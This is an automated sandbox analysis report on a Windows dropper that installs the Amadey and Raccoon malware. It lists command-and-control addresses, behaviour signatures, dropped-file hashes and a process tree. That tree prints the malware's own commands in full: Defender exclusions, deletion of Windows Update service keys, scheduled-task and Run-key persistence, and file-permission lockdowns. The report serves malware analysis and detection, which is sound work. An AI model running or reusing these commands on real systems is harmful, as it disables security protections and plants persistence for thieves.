Analysis

  • max time kernel
    150s
  • max time network
    115s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    30/01/2023, 03:49

General

  • Target
    file.exe
  • Size 4.8MB
  • Sample230130-edcl2ahe3x
  • SHA256 4fe523babbfae3a14393d7b07afbbfc13be4f5084dba9588adb38913b3527c36
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • amadey

Version
  • 3.65

C2
  • 77.73.134.27/8bmdh3Slb2/index.php

Extracted

Family
  • raccoon

Botnet
  • 04f8fa0bf52b1b98a127f6deeac54f84

C2
  • http://94.131.3.70/

  • http://83.217.11.11/

  • http://83.217.11.13/

  • http://83.217.11.14/

  • http://45.15.156.222/

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Modifies security service 2 TTPs 2 IoCs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Raccoon is an infostealer written in C++ and first seen in 2019.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 14 IoCs
  • Stops running service(s) 3 TTPs
  • VMProtect packed file 13 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Loads dropped DLL 41 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 22 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 24 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:464
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:872
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {47D06AAE-E20B-403A-986E-7CAF9F55C441} S-1-5-21-3406023954-474543476-3319432036-1000:VUIIVLGQ\Admin:Interactive:[1]
          3⤵
            PID:1692
            • C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
              C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
              4⤵
              • Executes dropped EXE
              PID:1592
            • C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
              C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
              4⤵
              • Executes dropped EXE
              PID:1644
          • C:\Windows\system32\taskeng.exe
            taskeng.exe {082E3E7B-15BE-4FC5-A823-89230656ADE6} S-1-5-18:NT AUTHORITY\System:Service:
            3⤵
            • Loads dropped DLL
            PID:388
            • C:\Program Files\Notepad\Chrome\updater.exe
              "C:\Program Files\Notepad\Chrome\updater.exe"
              4⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Drops file in Program Files directory
              PID:680
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k WspService
          2⤵
          • Drops file in System32 directory
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          • Modifies registry class
          • Suspicious behavior: GetForegroundWindowSpam
          PID:896
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        PID:1228
        • C:\Users\Admin\AppData\Local\Temp\file.exe
          "C:\Users\Admin\AppData\Local\Temp\file.exe"
          2⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1064
          • C:\Users\Admin\AppData\Local\Temp\pb1111.exe
            "C:\Users\Admin\AppData\Local\Temp\pb1111.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:344
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 344 -s 56
              4⤵
              • Loads dropped DLL
              • Program crash
              PID:1792
          • C:\Users\Admin\AppData\Local\Temp\liuyuzhen.exe
            "C:\Users\Admin\AppData\Local\Temp\liuyuzhen.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:524
            • C:\Users\Admin\AppData\Local\Temp\liuyuzhen.exe
              "C:\Users\Admin\AppData\Local\Temp\liuyuzhen.exe" -h
              4⤵
              • Executes dropped EXE
              PID:1692
          • C:\Users\Admin\AppData\Local\Temp\Player3.exe
            "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:940
            • C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
              "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:596
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
                5⤵
                • Creates scheduled task(s)
                PID:1252
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
                5⤵
                  PID:1928
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                    6⤵
                      PID:108
                    • C:\Windows\SysWOW64\cacls.exe
                      CACLS "nbveek.exe" /P "Admin:N"
                      6⤵
                        PID:1876
                      • C:\Windows\SysWOW64\cacls.exe
                        CACLS "nbveek.exe" /P "Admin:R" /E
                        6⤵
                          PID:1712
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                          6⤵
                            PID:1564
                          • C:\Windows\SysWOW64\cacls.exe
                            CACLS "..\16de06bfb4" /P "Admin:N"
                            6⤵
                              PID:1348
                            • C:\Windows\SysWOW64\cacls.exe
                              CACLS "..\16de06bfb4" /P "Admin:R" /E
                              6⤵
                                PID:1624
                            • C:\Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe
                              "C:\Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe"
                              5⤵
                              • Executes dropped EXE
                              PID:1844
                              • C:\Windows\system32\WerFault.exe
                                C:\Windows\system32\WerFault.exe -u -p 1844 -s 56
                                6⤵
                                • Loads dropped DLL
                                • Program crash
                                PID:580
                            • C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe
                              "C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe"
                              5⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:1680
                              • C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe" -h
                                6⤵
                                • Executes dropped EXE
                                PID:1252
                            • C:\Users\Admin\AppData\Local\Temp\1000091001\XandETC.exe
                              "C:\Users\Admin\AppData\Local\Temp\1000091001\XandETC.exe"
                              5⤵
                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                              • Executes dropped EXE
                              • Drops file in Program Files directory
                              PID:1560
                            • C:\Windows\SysWOW64\rundll32.exe
                              "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
                              5⤵
                              • Loads dropped DLL
                              PID:2028
                              • C:\Windows\system32\rundll32.exe
                                "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
                                6⤵
                                • Loads dropped DLL
                                PID:940
                                • C:\Windows\system32\WerFault.exe
                                  C:\Windows\system32\WerFault.exe -u -p 940 -s 344
                                  7⤵
                                  • Loads dropped DLL
                                  • Program crash
                                  PID:1472
                        • C:\Users\Admin\AppData\Local\Temp\ChromeSetup.exe
                          "C:\Users\Admin\AppData\Local\Temp\ChromeSetup.exe"
                          3⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious behavior: MapViewOfSection
                          PID:1748
                        • C:\Users\Admin\AppData\Local\Temp\birges.exe
                          "C:\Users\Admin\AppData\Local\Temp\birges.exe"
                          3⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:292
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
                            4⤵
                              PID:1300
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\DataSvcUtil.exe
                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\DataSvcUtil.exe"
                              4⤵
                                PID:1512
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe
                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe"
                                4⤵
                                  PID:364
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                              2⤵
                              • Drops file in System32 directory
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1368
                            • C:\Windows\System32\cmd.exe
                              C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                              2⤵
                                PID:1308
                                • C:\Windows\System32\sc.exe
                                  sc stop UsoSvc
                                  3⤵
                                  • Launches sc.exe
                                  PID:1220
                                • C:\Windows\System32\sc.exe
                                  sc stop WaaSMedicSvc
                                  3⤵
                                  • Launches sc.exe
                                  PID:1496
                                • C:\Windows\System32\sc.exe
                                  sc stop wuauserv
                                  3⤵
                                  • Launches sc.exe
                                  PID:1616
                                • C:\Windows\System32\sc.exe
                                  sc stop bits
                                  3⤵
                                  • Launches sc.exe
                                  PID:976
                                • C:\Windows\System32\sc.exe
                                  sc stop dosvc
                                  3⤵
                                  • Launches sc.exe
                                  PID:860
                                • C:\Windows\System32\reg.exe
                                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                                  3⤵
                                    PID:332
                                  • C:\Windows\System32\reg.exe
                                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                                    3⤵
                                      PID:1496
                                    • C:\Windows\System32\reg.exe
                                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                                      3⤵
                                      • Modifies security service
                                      PID:316
                                    • C:\Windows\System32\reg.exe
                                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                                      3⤵
                                        PID:364
                                      • C:\Windows\System32\reg.exe
                                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                        3⤵
                                          PID:1728
                                      • C:\Windows\System32\cmd.exe
                                        C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                        2⤵
                                          PID:1784
                                          • C:\Windows\System32\powercfg.exe
                                            powercfg /x -hibernate-timeout-ac 0
                                            3⤵
                                              PID:1796
                                            • C:\Windows\System32\powercfg.exe
                                              powercfg /x -hibernate-timeout-dc 0
                                              3⤵
                                                PID:1464
                                              • C:\Windows\System32\powercfg.exe
                                                powercfg /x -standby-timeout-ac 0
                                                3⤵
                                                  PID:1592
                                                • C:\Windows\System32\powercfg.exe
                                                  powercfg /x -standby-timeout-dc 0
                                                  3⤵
                                                    PID:1644
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
                                                  2⤵
                                                  • Drops file in System32 directory
                                                  PID:560
                                                  • C:\Windows\system32\schtasks.exe
                                                    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn NoteUpdateTaskMachineQC /tr "'C:\Program Files\Notepad\Chrome\updater.exe'"
                                                    3⤵
                                                    • Creates scheduled task(s)
                                                    PID:1876
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
                                                  2⤵
                                                  • Drops file in System32 directory
                                                  PID:1592
                                                  • C:\Windows\system32\schtasks.exe
                                                    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
                                                    3⤵
                                                      PID:1964
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                    2⤵
                                                    • Drops file in System32 directory
                                                    • Modifies data under HKEY_USERS
                                                    PID:2044
                                                  • C:\Windows\System32\cmd.exe
                                                    C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                                    2⤵
                                                      PID:1348
                                                      • C:\Windows\System32\sc.exe
                                                        sc stop UsoSvc
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:1724
                                                      • C:\Windows\System32\sc.exe
                                                        sc stop WaaSMedicSvc
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:1296
                                                      • C:\Windows\System32\sc.exe
                                                        sc stop wuauserv
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:1492
                                                      • C:\Windows\System32\sc.exe
                                                        sc stop bits
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:1724
                                                      • C:\Windows\System32\sc.exe
                                                        sc stop dosvc
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:1564
                                                      • C:\Windows\System32\reg.exe
                                                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                                                        3⤵
                                                          PID:108
                                                        • C:\Windows\System32\reg.exe
                                                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                                                          3⤵
                                                            PID:1936
                                                          • C:\Windows\System32\reg.exe
                                                            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                                                            3⤵
                                                              PID:1664
                                                            • C:\Windows\System32\reg.exe
                                                              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                                                              3⤵
                                                                PID:1632
                                                              • C:\Windows\System32\reg.exe
                                                                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                                                3⤵
                                                                  PID:1392
                                                              • C:\Windows\System32\cmd.exe
                                                                C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                                2⤵
                                                                  PID:1548
                                                                  • C:\Windows\System32\powercfg.exe
                                                                    powercfg /x -hibernate-timeout-ac 0
                                                                    3⤵
                                                                      PID:1700
                                                                    • C:\Windows\System32\powercfg.exe
                                                                      powercfg /x -hibernate-timeout-dc 0
                                                                      3⤵
                                                                        PID:1936
                                                                      • C:\Windows\System32\powercfg.exe
                                                                        powercfg /x -standby-timeout-ac 0
                                                                        3⤵
                                                                          PID:536
                                                                        • C:\Windows\System32\powercfg.exe
                                                                          powercfg /x -standby-timeout-dc 0
                                                                          3⤵
                                                                            PID:1328
                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                              wmic PATH Win32_VideoController GET Name, VideoProcessor
                                                                              4⤵
                                                                                PID:108
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
                                                                            2⤵
                                                                            • Drops file in System32 directory
                                                                            PID:1988
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn NoteUpdateTaskMachineQC /tr "'C:\Program Files\Notepad\Chrome\updater.exe'"
                                                                              3⤵
                                                                              • Creates scheduled task(s)
                                                                              PID:1388
                                                                          • C:\Windows\System32\conhost.exe
                                                                            C:\Windows\System32\conhost.exe zuhwtyqtfkk
                                                                            2⤵
                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                            PID:1948
                                                                          • C:\Windows\System32\cmd.exe
                                                                            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                                                            2⤵
                                                                            • Drops file in Program Files directory
                                                                            PID:1328
                                                                          • C:\Windows\System32\cmd.exe
                                                                            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                                                            2⤵
                                                                              PID:1364
                                                                          • C:\Windows\system32\rundll32.exe
                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
                                                                            1⤵
                                                                            • Process spawned unexpected child process
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:316
                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
                                                                              2⤵
                                                                              • Loads dropped DLL
                                                                              • Modifies registry class
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:636
                                                                          • C:\Windows\system32\rundll32.exe
                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
                                                                            1⤵
                                                                            • Process spawned unexpected child process
                                                                            PID:1604
                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
                                                                              2⤵
                                                                              • Loads dropped DLL
                                                                              • Modifies registry class
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1368

                                                                          Network

                                                                                MITRE ATT&CK Enterprise v6

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                pb1111.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe
                                                                                • Size 3.5MB
                                                                                • SHA256 ac371bda90a40da22f6fcf633b7ad731c9b11de21cc91ed47ab12cbe18d18ae5
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                random.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe
                                                                                • Size 160KB
                                                                                • SHA256 01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                random.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe
                                                                                • Size 160KB
                                                                                • SHA256 01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                random.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe
                                                                                • Size 160KB
                                                                                • SHA256 01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                XandETC.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\1000091001\XandETC.exe
                                                                                • Size 3.7MB
                                                                                • SHA256 f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                nbveek.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
                                                                                • Size 244KB
                                                                                • SHA256 619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                nbveek.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
                                                                                • Size 244KB
                                                                                • SHA256 619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                nbveek.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
                                                                                • Size 244KB
                                                                                • SHA256 619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                ChromeSetup.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\ChromeSetup.exe
                                                                                • Size 298KB
                                                                                • SHA256 6164128b4834ad44cc9f6cd3f5f50c38a97e07d43fc07c260f733d85abac233b
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                ChromeSetup.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\ChromeSetup.exe
                                                                                • Size 298KB
                                                                                • SHA256 6164128b4834ad44cc9f6cd3f5f50c38a97e07d43fc07c260f733d85abac233b
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                Player3.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\Player3.exe
                                                                                • Size 244KB
                                                                                • SHA256 619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                Player3.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\Player3.exe
                                                                                • Size 244KB
                                                                                • SHA256 619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                birges.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\birges.exe
                                                                                • Size 676KB
                                                                                • SHA256 0c346b8657a834a536575fb82a6b9ee37c738547fb2e4de821917d9131ec3fe2
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                birges.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\birges.exe
                                                                                • Size 676KB
                                                                                • SHA256 0c346b8657a834a536575fb82a6b9ee37c738547fb2e4de821917d9131ec3fe2
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                db.dat

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\db.dat
                                                                                • Size 557KB
                                                                                • SHA256 b7cb464cd0c61026ec38d89c0a041393bc9369e217303677551eec65a09d2628
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                db.dat

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\db.dat
                                                                                • Size 557KB
                                                                                • SHA256 b7cb464cd0c61026ec38d89c0a041393bc9369e217303677551eec65a09d2628
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                db.dll

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\db.dll
                                                                                • Size 52KB
                                                                                • SHA256 ec01d244074f45d4f698f5713147e99d76053824a648b306e1debf69f3ba9ce6
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                db.dll

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\db.dll
                                                                                • Size 52KB
                                                                                • SHA256 ec01d244074f45d4f698f5713147e99d76053824a648b306e1debf69f3ba9ce6
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                liuyuzhen.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\liuyuzhen.exe
                                                                                • Size 160KB
                                                                                • SHA256 01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                liuyuzhen.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\liuyuzhen.exe
                                                                                • Size 160KB
                                                                                • SHA256 01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                liuyuzhen.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\liuyuzhen.exe
                                                                                • Size 160KB
                                                                                • SHA256 01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                pb1111.exe

                                                                                • Path C:\Users\Admin\AppData\Local\Temp\pb1111.exe
                                                                                • Size 3.5MB
                                                                                • SHA256 ac371bda90a40da22f6fcf633b7ad731c9b11de21cc91ed47ab12cbe18d18ae5
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                cred64.dll

                                                                                • Path C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
                                                                                • Size 1.0MB
